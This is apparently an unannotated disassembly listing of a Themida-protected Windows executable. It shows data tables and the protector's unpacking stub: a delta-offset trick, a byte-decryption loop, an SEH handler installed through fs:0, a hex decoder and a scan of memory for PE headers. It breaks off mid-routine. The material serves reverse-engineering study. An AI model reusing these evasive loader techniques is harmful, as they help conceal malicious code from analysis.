		dd 0A7230000h, 0D5D6h, 26h dup(0)
		dd 0A13F0000h, 74D477E7h, 8A06h, 0FFB00000h, 220h, 6 dup(0)
		dd 24240000h, 0D5D82424h, 5Ah, 2 dup(0)
		dd 0E22B0000h, 6042h, 3	dup(0)
		dd 1DBC0000h, 3E68005Bh, 77E8h,	0
		dd 24710000h, 57h, 6B2D0000h, 4	dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 821B0000h, 0E808001h, 3040000h, 7FFEh, 2 dup(0)
		dd 9070000h, 3995h, 0
		dd 47FD0000h, 58h, 0Ah dup(0)
		dd 241h, 17h dup(0)
		dd 5B200000h, 5FF10000h, 0FF5Fh, 4 dup(0)
		dd 4A420000h, 79631115h, 77E7h,	0
		dd 1C880000h, 23E80057h, 0A1h, 4 dup(0)
		dd 9A7C0000h, 0FFFFh, 0
		dd 0D5540000h, 9Fh, 5 dup(0)
		dd 0D8CD0000h, 0AE57h, 5 dup(0)
		dd 0E2220000h, 3B1F1B58h, 0A6h,	3 dup(0)
		dd 30000000h, 0Eh, 3 dup(0)
		dd 22D80000h, 0A1h, 0
		dd 3040000h, 0FCFC7FFEh, 8001h,	0
		dd 0A8850000h, 57h, 0
		dd 0EC0000h, 0Ah dup(0)
		dd 90FC0000h, 3E3B005Ah, 0A0h, 3 dup(0)
		dd 0FFA40000h, 12h, 2 dup(0)
		dd 0E00000h, 40h, 4 dup(0)
		dd 97170000h, 0EC06h, 2	dup(0)
		dd 6B9C0000h, 0A0990249h, 77E7h, 9 dup(0)
		dd 0BE210000h, 59h, 3 dup(0)
		dd 0A8370000h, 77E7h, 4	dup(0)
		dd 73160000h, 0A2h, 3 dup(0)
		dd 940000h, 2 dup(0)
		dd 0FFB00000h, 101E0h, 0FCFC0000h, 0E2278001h, 0FFFFh
		dd 3040000h, 0B7277FFEh, 62B5h,	3 dup(0)
		dd 20000h, 0A1FE0000h, 0B0h, 2 dup(0)
		dd 9B240000h, 7FA7h, 230000h, 54h, 3 dup(0)
		dd 26DA0000h, 0FFA8h, 6B2D0000h, 0
		dd 0FF1C0000h, 12h, 0F67E0000h,	1351h, 6 dup(0)
		dd 3040000h, 7FFEh, 8 dup(0)
		dd 0FE60000h, 9Fh, 8C0A0000h, 286100A0h, 230000h, 1B400058h
		dd 0B82E76B4h, 5Ah, 3 dup(0)
		dd 73E90000h, 0CCAB0000h, 0FCFC0059h, 8001h, 7 dup(0)
		dd 54350000h, 96110057h, 0F9h, 87D50000h, 5Fh, 0Bh dup(0)
		dd 4AF0000h, 13C4h, 0
		dd 230000h, 54h, 2 dup(0)
		dd 3040000h, 7FFAh, 4 dup(0)
		dd 2C340000h, 59h, 0
		dd 230000h, 58h, 1Ch dup(0)
		dd 0FF600000h, 5EE40012h, 4665h, 0
		dd 0A9A0000h, 9Fh, 0
		dd 60000h, 2Eh dup(0)
		dd 0B8EB0000h, 3 dup(0)
		dd 12E30000h, 0FFFFh, 0
		dd 0F3FF0000h, 427Ah, 5	dup(0)
		dd 10000000h, 304001Ch,	7FFEh, 6 dup(0)
		dd 89600000h, 919Dh, 0E9450000h, 3041D30h, 7FFEh, 0E2940000h
		dd 571F356Ch, 54h, 4 dup(0)
		dd 0D2540000h, 0DE27h, 3 dup(0)
		dd 20000h, 0
		dd 6EA50000h, 0FF5Fh, 0BC4C0000h, 0FFA4h, 5CB50000h, 30477E7h
		dd 7FFEh, 0CF3D0000h, 9F5Ch, 6 dup(0)
		dd 30DF0000h, 0A9C5h, 9Fh, 9A7C0000h, 0B134FFFFh, 0A2h
		dd 0Bh dup(0)
		dd 0BF4A0000h, 0F80057h, 9Fh, 3040000h,	7FFEh, 3 dup(0)
		dd 6C0000h, 94990000h, 0FE600A0h, 9Fh, 4 dup(0)
		dd 51920000h, 7748h, 0
		dd 0A00F0000h, 0A0h, 87D50000h,	0Fh, 519D0000h,	0FFE7h
		dd 0
		dd 60820000h, 7D88005Ah, 7852h,	4 dup(0)
		dd 5A780000h, 54h, 0
		dd 46E80000h, 2BB81BA5h, 97D9h,	98E40000h, 0FFFFh, 0
		dd 2B0000h, 7 dup(0)
		dd 0C96A0000h, 77D4h, 9C4E0000h, 59h, 4	dup(0)
		dd 160B0000h, 5Bh, 4 dup(0)
		dd 75B50000h, 10000h, 4	dup(0)
		dd 87D50000h, 59h, 8 dup(0)
		dd 0A40000h, 4 dup(0)
		dd 3040000h, 0EC627FFEh, 1, 2 dup(0)
		dd 51720000h, 57h, 8 dup(0)
		dd 0FF540000h, 6BC60012h, 0BAF9h, 0FE230000h, 9F5Ch, 0Bh dup(0)
		dd 11110000h, 1111h, 16h dup(0)
		dd 0E2940000h, 356Ch, 0
		dd 20000h, 0
		dd 41430000h, 0DB18h, 98B80000h, 832h, 0Ch dup(0)
		dd 8D8D0000h, 67A4h, 0
		dd 0A9A0000h, 9Fh, 2 dup(0)
		dd 0C796025Ah, 821Ch, 0Bh dup(0)
		dd 259h, 0F3400000h, 0E028FF94h, 4DC0h,	5 dup(0)
		dd 77D4h, 5 dup(0)
		dd 40000000h, 86B5004Eh, 59h, 0Bh dup(0)
		dd 50000h, 0
		dd 0BE080000h, 57h, 0ED2F0000h,	45FAh, 0
		dd 596A0000h, 58h, 0
		dd 200A0000h, 0A0h, 0FA560000h,	0A70C00A0h, 0E51h, 0B0180000h
		dd 695h, 3040000h, 777F7FFEh, 7FFFh, 2 dup(0)
		dd 8C540000h, 0FFFFh, 6	dup(0)
		dd 74950000h, 0
		dd 77DDh, 0
		dd 10000h, 54B70000h, 57h, 0FF540000h, 10012h, 3 dup(0)
		dd 800000h, 2 dup(0)
		dd 77FCh, 0FF540000h, 12h, 0Ah dup(0)
		dd 6A46h, 0
		dd 13E90000h, 58h, 4 dup(0)
		dd 6B2D0000h, 3	dup(0)
		dd 0ABA80000h, 5Ah, 3 dup(0)
		dd 3040000h, 0E97FFEh, 4, 3 dup(0)
		dd 15680000h, 0A1h, 9 dup(0)
		dd 0D0420000h, 685459F0h, 64696D65h, 61h, 2Fh dup(0)
		dd 0C14F0000h, 0F0FBh, 2 dup(0)
		dd 321F0000h, 40000h, 3	dup(0)
		dd 0FEF00000h, 12h, 0Dh	dup(0)
		dd 7EAB0000h, 5Ah, 10000h, 4 dup(0)
		dd 40000h, 0
		dd 10000h, 6, 4	dup(0)
		dd 60140000h, 0BE08000Eh, 57h, 6 dup(0)
		dd 6220000h, 5088h, 2 dup(0)
		dd 1C8F0000h, 54h, 3 dup(0)
		dd 21680000h, 77E8h, 3 dup(0)
		dd 18B40000h, 700000h, 0
		dd 45CA0000h, 60B22515h, 5Ah, 4	dup(0)
		dd 9820000h, 0ECAEh, 5 dup(0)
		dd 540D0000h, 57h, 2 dup(0)
		dd 781C0000h, 5Ah, 0
		dd 6B2D0000h, 3540000h,	0F1F47DDDh, 0D62Bh, 3 dup(0)
		dd 10EB0000h, 0
		dd 0EAEA0000h, 7EFBh, 0Ah dup(0)
		dd 23E80000h, 0D70600A1h, 77E6h, 0Bh dup(0)
		dd 10EB0000h, 0
		dd 1EF100B7h, 30C968A5h, 0B0B0h, 4 dup(0)
		dd 3040000h, 0E59D7FFEh, 5643h,	0
		dd 94990000h, 0A0h, 3F0D0000h, 3703h, 0FFFF0000h, 42FAh
		dd 4 dup(0)
		dd 192D0000h, 0FA2Ch, 7A7A0000h, 0
		dd 0E90000h, 4,	99950000h, 3E00A4h, 322077E6h, 0A743h
		dd 7ECC0000h, 3DC2h, 0C8F30000h, 0C34B3549h, 58h, 5 dup(0)
		dd 40h,	6 dup(0)
		dd 0EBB30000h, 77F7h, 3	dup(0)
		dd 0F2680000h, 6B58D62Bh, 2 dup(0)
		dd 0A0370000h, 0A0h, 180B0000h,	0A9A77F5h, 2 dup(0)
		dd 5CB50000h, 77E7h, 2 dup(0)
		dd 0F67E0000h, 72DC1351h, 5DBDh, 0
		dd 894Ch, 86EE0000h, 1B400059h,	76B4h, 3 dup(0)
		dd 4BB50000h, 0FFA7h, 0
		dd 78DA0000h, 5Bh, 0
		dd 8C0A0000h, 0A0h, 77BC0000h, 5Bh, 0
		dd 8C0000h, 0Ch	dup(0)
		dd 81540000h, 0ECE7h, 4	dup(0)
		dd 0C4C00000h, 8B3h, 3 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 52040000h, 54h, 4 dup(0)
		dd 1DD90000h, 6	dup(0)
		dd 0F21C0000h, 9C11h, 8B820000h, 0FF1C77E7h, 12h, 4DD50000h
		dd 0Fh,	2BDE0000h, 0A0h, 4 dup(0)
		dd 69DD0000h, 0A0h, 5 dup(0)
		dd 780000h, 9 dup(0)
		dd 0F7FF0000h, 1C8E77FEh, 230054h, 0FFFF0058h, 0FFFFh
		dd 0Bh dup(0)
		dd 7D7F0000h, 0FA7Fh, 83h dup(0)
		dd 3040000h, 0B3BC7FFEh, 0FFFEh, 0
		dd 33C00000h, 0FFA9h, 2	dup(0)
		dd 0A885025Bh, 22D80057h, 0A1h,	2 dup(0)
		dd 28BD0000h, 94D2h, 2 dup(0)
		dd 20000h, 3 dup(0)
		dd 0AC5E0000h, 77E7h, 0FF1C0000h, 12h, 2 dup(0)
		dd 12CD0000h, 0
		dd 0C01F0000h, 8ABAh, 6	dup(0)
		dd 0AEh, 0Ah dup(0)
		dd 40000000h, 99FB004Eh, 38D8h,	0
		dd 0C1D90000h, 1E00908Bh, 4, 569F0000h,	8208h, 7 dup(0)
		dd 0A2650000h, 3215h, 0FCFC0000h, 7C8001h, 2 dup(0)
		dd 6B2D0000h, 0
		dd 25D90000h, 0CA4A7EB5h, 57h, 7 dup(0)
		dd 8D8D0000h, 7A3Fh, 6 dup(0)
		dd 36750000h, 1F3Ah, 2 dup(0)
		dd 880000h, 18D10000h, 9A5Bh, 6	dup(0)
		dd 6F4C0000h, 0D07Bh, 3	dup(0)
		dd 0C0000h, 241h, 0
		dd 0FFB00000h, 180h, 7 dup(0)
		dd 0F7470000h, 66A2h, 7	dup(0)
		dd 40000000h, 4Eh, 0
		dd 0FFDB0000h, 59h, 5 dup(0)
		dd 0A00F0000h, 0A0h, 2 dup(0)
		dd 421C0000h, 0EF8Eh, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 22D80000h, 0A1h, 3 dup(0)
		dd 0FFF00000h, 0B8030012h, 9C37FFA7h, 0A0h, 3 dup(0)
		dd 207E0000h, 6E0Ch, 0D1C70000h, 0FEC8h, 8 dup(0)
		dd 65200000h, 5	dup(0)
		dd 41F80000h, 0FFA8h, 7FD80000h, 0A2h, 3 dup(0)
		dd 3F00000h, 0B2h dup(0)
		dd 1F2F0000h, 249h, 2 dup(0)
		dd 0C8025Ah, 2 dup(0)
		dd 0D9560000h, 57h, 5 dup(0)
		dd 8FB40000h, 0FFFFh, 4DFAh, 0
		dd 5D80000h, 8EF77E8h, 8D8D0F86h, 5F85h, 0
		dd 0EAEA0000h, 5Ah, 0
		dd 91040000h, 8822h, 0Ah dup(0)
		dd 24310000h, 6	dup(0)
		dd 0FFE00000h, 12h, 2 dup(0)
		dd 30DF0000h, 5974A9C5h, 8655h,	0
		dd 0CF3D0000h, 0CFDAh, 547F0000h, 59h, 4 dup(0)
		dd 6F440000h, 8DF6h, 0Dh dup(0)
		dd 2030000h, 8801h, 0FCFC0000h,	8001h, 3 dup(0)
		dd 0FF540000h, 69DD0012h, 44D200A0h, 0D00054h, 2 dup(0)
		dd 10EB0000h, 2D670000h, 41430E12h, 0DB18h, 4 dup(0)
		dd 23C0000h, 3 dup(0)
		dd 0A0AF0000h, 0
		dd 69DD0000h, 936D0000h, 0FFFFh, 4 dup(0)
		dd 24710000h, 57h, 4 dup(0)
		dd 10000h, 0
		dd 10000h, 510D0000h, 0
		dd 919E0000h, 5Ah, 3 dup(0)
		dd 6B2D0000h, 0E2A0000h, 0C349h, 0BBFF0000h, 5DCDh, 69DD0000h
		dd 0FE600A0h, 9Fh, 0Ah dup(0)
		dd 5ECC0000h, 77DDh, 3 dup(0)
		dd 2FDD0000h, 0E438h, 0Ch dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 0FFDD0000h, 1564FFA7h, 0A1h,	0
		dd 24710000h, 57h, 4 dup(0)
		dd 518C0000h, 30DF0057h, 0A9C5h, 4 dup(0)
		dd 0FF540000h, 12h, 3 dup(0)
		dd 0A00000h, 0
		dd 30DF0000h, 0A9C5h, 3	dup(0)
		dd 10000h, 98600000h, 8630h, 3 dup(0)
		dd 354A0000h, 54h, 0FCFC0000h, 8001h, 0F3000000h, 0FFFFh
		dd 8 dup(0)
		dd 5CB50000h, 177E7h, 0
		dd 980000h, 0BE350000h,	5Ah, 0B1CA0000h, 0AEh, 0
		dd 980000h, 3040000h, 7FFEh, 7 dup(0)
		dd 0FF1C0000h, 31450012h, 0A0h,	3 dup(0)
		dd 36360000h, 3636h, 4 dup(0)
		dd 0FFB00000h, 190h, 75B50000h,	2 dup(0)
		dd 5C5C0000h, 0FFA7h, 4	dup(0)
		dd 1D80000h, 0B8030040h, 0FFA7h, 2 dup(0)
		dd 0F67E0000h, 1351h, 0Bh dup(0)
		dd 9C4E0000h, 59h, 1Bh dup(0)
		dd 0F2A00000h, 0D119h, 2 dup(0)
		dd 840000h, 0A8850000h,	57h, 3 dup(0)
		dd 8BAA0000h, 8A6C7FEDh, 9E3Eh,	2 dup(0)
		dd 1DD90000h, 0
		dd 9D8D0000h, 1FC5h, 10h dup(0)
		dd 31630000h, 57h, 2 dup(0)
		dd 0D2610000h, 5Ah, 3 dup(0)
		dd 9DB90000h, 98Bh, 2 dup(0)
		dd 59F00000h, 78AD77DDh, 2340268Ah, 14h, 2 dup(0)
		dd 390000h, 3 dup(0)
		dd 257D0000h, 58h, 0E2940000h, 356Ch, 4	dup(0)
		dd 6B2D0000h, 6	dup(0)
		dd 10000h, 7D10000h, 7 dup(0)
		dd 3040000h, 7FFEh, 9 dup(0)
		dd 8C0A0000h, 0A0h, 0
		dd 2EC70000h, 585Fh, 0
		dd 34300000h, 312Dh, 2 dup(0)
		dd 190000h, 2 dup(0)
		dd 0B5E20000h, 8A0Fh, 0
		dd 77E6h, 2 dup(0)
		dd 0D0380000h, 22921A51h, 200A0h, 96CD0000h, 2075h, 0
		dd 941C0000h, 0A5E79270h, 30400A4h, 7FFAh, 0D7210000h
		dd 8055h, 0Bh dup(0)
		dd 57C90000h, 8818h, 0
		dd 23E80000h, 0A1h, 3 dup(0)
		dd 5D660000h, 0
		dd 4A3B0000h, 865877E7h, 20059h, 0
		dd 3040000h, 0FCD37FFEh, 59h, 65520000h, 72617473h, 70704174h
		dd 6578652Eh, 3040000h,	7FFEh, 3 dup(0)
		dd 874A0000h, 0FFB10057h, 70FAh, 4 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0)
		dd 1BDF0000h, 0FFA7h, 93930000h, 874A00A0h, 57h, 2 dup(0)
		dd 47FD0000h, 58h, 2 dup(0)
		dd 4D400000h, 0FFFEh, 0
		dd 0DEDD0000h, 6D25AB7h, 28Eh, 2 dup(0)
		dd 0E8DD0000h, 0F4h, 0
		dd 73160000h, 949900A2h, 0A0h, 3 dup(0)
		dd 2C460000h, 0FEBFh, 919E0000h, 5Ah, 2	dup(0)
		dd 3A00000h, 0Eh dup(0)
		dd 1F77h, 0Ah dup(0)
		dd 0A80000h, 0Eh dup(0)
		dd 56430000h, 2	dup(0)
		dd 98380000h, 832h, 2 dup(0)
		dd 0CA8C0000h, 57h, 0Fh	dup(0)
		dd 87D50000h, 59h, 3 dup(0)
		dd 0CF3D0000h, 0CFDAh, 16h dup(0)
		dd 70C40000h, 0A0h, 2 dup(0)
		dd 0B370000h, 3807h, 0
		dd 35A00000h, 1FDAh, 0FECE0000h, 0DFCDh, 0D5070000h, 58h
		dd 0
		dd 0BE080000h, 40057h, 4AF00000h, 3, 0
		dd 325B0000h, 0
		dd 0CC950000h, 0FFA6h, 80000000h, 0BE080003h, 57h, 0
		dd 0C4860000h, 77E7h, 0
		dd 0A0AF0000h, 0
		dd 84BA0000h, 0A5FD005Ah, 77E7h, 0
		dd 0D9A00000h, 634h, 6180000h, 77E8h, 50710000h, 5Bh, 2Fh dup(0)
		dd 31630000h, 57h, 2E0F0000h, 77F5h, 0E2F0000h,	0CFFh
		dd 2 dup(0)
		dd 1C820000h, 58h, 0
		dd 67CF0000h, 5Bh, 2 dup(0)
		dd 3040000h, 7FFEh, 9 dup(0)
dword_544450	dd 0			; DATA XREF: ___:off_4425A4o
		dd 2FE80000h, 30477E8h,	7FFEh, 6 dup(0)
		dd 25Ch, 3 dup(0)
		dd 0BE1A0000h, 0FF1C0057h, 12h,	4 dup(0)
		dd 0B7A30000h, 21210190h, 2121h, 2 dup(0)
		dd 69DD0000h, 6B2D00A0h, 4 dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	14h dup(0)
		dd 9F70000h, 0A0h, 3 dup(0)
		dd 75B50000h, 5	dup(0)
		dd 0C52A0000h, 58h, 3 dup(0)
		dd 3040000h, 7FFEh, 8EA50000h, 93EF097Dh, 87D577E7h, 0B168000Fh
		dd 9Fh,	4 dup(0)
		dd 10000h, 2 dup(0)
		dd 3040000h, 0BE087FFEh, 8B820057h, 69DD77E7h, 0A0h, 2 dup(0)
		dd 33330000h, 2	dup(33333333h),	3333h, 5 dup(0)
		dd 0A2270000h, 257h, 812E0000h,	0FFFFh,	2 dup(0)
		dd 0BE080000h, 57h, 4 dup(0)
		dd 0FFDD0000h, 0FFA7h, 5 dup(0)
		dd 0F16B0000h, 11CAh, 6	dup(0)
		dd 14340000h, 0CB800000h, 0B61h, 2 dup(0)
		dd 83E90000h, 59h, 0
		dd 304028Eh, 7FFEh, 0Dh	dup(0)
		dd 0F0EC0000h, 8009h, 4	dup(0)
		dd 5CB50000h, 0FCFC77E7h, 10EB8001h, 2 dup(0)
		dd 10EB0000h, 2	dup(0)
		dd 6B9C0000h, 249h, 3 dup(0)
		dd 0FC0A0000h, 20000h, 3 dup(0)
		dd 0CB7D0000h, 57h, 3 dup(0)
		dd 0FFC40000h, 3040012h, 219D7FFEh, 0B41F4FC5h,	5 dup(0)
		dd 6C570000h, 5Bh, 22220000h, 22222222h, 2222h,	4 dup(0)
		dd 731E0000h, 386Ch, 2 dup(0)
		dd 40000h, 0
		dd 0D48E0000h, 9C450793h, 0A6E94FE7h, 77EBh, 77BC0000h
		dd 5Bh,	0
		dd 48F90000h, 41F80000h, 0FFA8h, 10000h, 0Ch dup(0)
		dd 9C0000h, 0
		dd 46440000h, 59h, 2 dup(0)
		dd 6B2D0000h, 2	dup(0)
		dd 6D0C0000h, 5E7h, 5 dup(0)
		dd 0F4A80000h, 4B2Ah, 0Ah dup(0)
		dd 9BAC0000h, 0FCFC00A2h, 8001h, 57h, 5	dup(0)
		dd 67CF0000h, 5Bh, 5 dup(0)
		dd 0BE080000h, 57h, 6B2D0000h, 2 dup(0)
		dd 32680000h, 0A1h, 0A0370000h,	915B00A0h, 0A0h, 0
		dd 0C7E80000h, 0A144013Eh, 0EB6E77E7h, 0
		dd 5E2E0000h, 0A0h, 2 dup(0)
		dd 0A1440000h, 77E7h, 2	dup(0)
		dd 0C96A0000h, 77D4h, 4	dup(0)
		dd 9BE00000h, 58628252h, 58h, 0BC4B0000h, 53E50000h, 57h
		dd 22F80000h, 2CD2h, 77F5h, 0
		dd 7FFC0000h, 249h, 2 dup(0)
		dd 0D2710000h, 57h, 9 dup(0)
		dd 0BE080000h, 57h, 900000h, 0
		dd 0AC0000h, 3 dup(0)
		dd 10000000h, 9	dup(0)
		dd 9CE00000h, 58h, 0Bh dup(0)
		dd 10C0000h, 5FD1FFEDh,	0FFA8h,	740000h, 3040000h, 7FFEh
		dd 5 dup(0)
		dd 0FFDD0000h, 2 dup(0)
		dd 10000000h, 40h, 4 dup(0)
		dd 0BC030000h, 0FFFFh, 2 dup(0)
		dd 92340000h, 0A0h, 0
		dd 6B240000h, 8	dup(0)
		dd 2BF0000h, 0C56EC883h, 3040056h, 7FFEh, 68E90000h, 13F9h
		dd 2 dup(0)
		dd 2C160000h, 54h, 4 dup(0)
		dd 0CF3D0000h, 0CFDAh, 9 dup(0)
		dd 0FC0A0000h, 2 dup(0)
		dd 79630000h, 77E7h, 20000h, 8 dup(0)
		dd 10C50000h, 5307h, 0
		dd 3040000h, 7FFEh, 0
		dd 5D9F0000h, 3046B96h,	7FFEh, 14h dup(0)
		dd 0FF530000h, 1E83EDEh, 304001Ah, 7C5Bh, 0
		dd 8FB40000h, 76CDFFFFh, 64B777E7h, 107h, 0Ch dup(0)
		dd 0F67E0000h, 23D71351h, 77DDh, 30DF0000h, 0A9C5h, 6 dup(0)
		dd 7C240000h, 5Ah, 2 dup(0)
		dd 1050000h, 0FFFE0A28h, 0FFFFh, 3 dup(0)
		dd 0FF540000h, 12h, 0
		dd 76CD0000h, 77E7h, 0
		dd 0E00000h, 4 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_544C82:				; CODE XREF: start:loc_54192Dj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5E8335Fh
		mov	[ebp+5E82E21h],	edx
		mov	[ebp+5E81545h],	esi
		mov	[ebp+5E81B9Dh],	eax
		cmp	dword ptr [ebp+5E816FDh], 0
		jz	short loc_544CBA
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_544CBA:				; CODE XREF: start+5EC98j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5E82AC5h],	eax
		push	45h
		call	sub_544D6E
		push	783749Ah
		call	sub_544DB4
		push	0A894B25h
		call	sub_544DB4
		jmp	loc_544EF8
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_544D6E	proc near		; CODE XREF: start+5ECB2p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E8344Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_544D8A:				; CODE XREF: sub_544D6E+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_544DA9
		mov	eax, [ebp+arg_0]
		mov	[ebx+5E833B7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_544D8A
; ---------------------------------------------------------------------------


loc_544DA9:				; CODE XREF: sub_544D6E+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_544D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_544DB4	proc near		; CODE XREF: start+5ECBCp start+5ECC6p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E83496h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_544DDA:				; CODE XREF: sub_544DB4+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_544DDA
		mov	[ebp+var_84], 0
		lea	edi, [edx+5E833B7h]
		lea	esi, [ebp+var_80]


loc_544E0A:				; CODE XREF: sub_544DB4+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_544E16:				; CODE XREF: sub_544DB4+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_544E16
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_544E0A
		popa
		leave
		retn	4
sub_544DB4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_544E54
; ---------------------------------------------------------------------------


loc_544E50:				; CODE XREF: Themida_:00544E57j
		inc	dword ptr [ebp-4]
		inc	esi


loc_544E54:				; CODE XREF: Themida_:00544E4Ej
		cmp	byte ptr [esi],	0
		jnz	short loc_544E50
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_544EE5
; ---------------------------------------------------------------------------


loc_544E66:				; CODE XREF: Themida_:00544EE8j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_544EDC
; ---------------------------------------------------------------------------


loc_544E6F:				; CODE XREF: Themida_:00544EE0j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_544EC9
; ---------------------------------------------------------------------------


loc_544E7F:				; CODE XREF: Themida_:00544ECDj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_544EA1
		cmp	bl, 39h
		ja	short loc_544EA1
		sub	bl, 30h
		jmp	short loc_544EC3
; ---------------------------------------------------------------------------


loc_544EA1:				; CODE XREF: Themida_:00544E95j
					; Themida_:00544E9Aj
		cmp	bl, 61h
		jb	short loc_544EB3
		cmp	bl, 66h
		ja	short loc_544EB3
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_544EC3
; ---------------------------------------------------------------------------


loc_544EB3:				; CODE XREF: Themida_:00544EA4j
					; Themida_:00544EA9j
		cmp	bl, 41h
		jb	short loc_544EC3
		cmp	bl, 46h
		ja	short loc_544EC3
		sub	bl, 41h
		add	bl, 0Ah


loc_544EC3:				; CODE XREF: Themida_:00544E9Fj
					; Themida_:00544EB1j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_544EC9:				; CODE XREF: Themida_:00544E7Dj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_544E7F
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_544ED9
		mov	eax, [ebp-10h]
		stosb


loc_544ED9:				; CODE XREF: Themida_:00544ED3j
		inc	dword ptr [ebp-8]


loc_544EDC:				; CODE XREF: Themida_:00544E6Dj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_544E6F
		add	edx, 4


loc_544EE5:				; CODE XREF: Themida_:00544E64j
		cmp	edx, [ebp-4]
		jb	loc_544E66
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_544EF8:				; CODE XREF: start+5ECCBj
		mov	ecx, 7000h
		lea	edi, [ebp+5E835DCh]


loc_544F03:				; CODE XREF: start+5EEF3j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_544F03
		mov	eax, 48692121h
		mov	edx, 0F00E6000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5E836D6h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		pusha
		call	sub_544F4C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0E38Dh
		dd 665C3139h
		db 27h,	0Bh
word_544F42	dw 2A47h		; DATA XREF: ___:off_43B008o
		dd 508B536Fh, 0F308AC44h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_544F4C	proc near		; CODE XREF: start+5EF21p
		jmp	sub_544F62
sub_544F4C	endp

; ---------------------------------------------------------------------------
		db 0Dh,	3Bh, 0D8h
		dd 93FC2648h, 0BB9D773Fh, 0EC5763F9h
		db 0B4h, 0DDh

; =============== S U B	R O U T	I N E =======================================



sub_544F62	proc near		; CODE XREF: sub_544F4Cj
		pop	eax
		popa
		xor	ebx, 8E03245h
		sub	eax, edx
		mov	bl, 88h
		and	eax, 0FFFFF000h
		mov	bx, ax
		mov	ecx, edx
		xor	edi, edi


loc_544F7A:				; CODE XREF: sub_544F62+33j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_544F8F
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_544F97


loc_544F8F:				; CODE XREF: sub_544F62+1Dj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_544F7A
; ---------------------------------------------------------------------------


loc_544F97:				; CODE XREF: sub_544F62+2Bj
		pop	large dword ptr	fs:0
		add	esp, 4
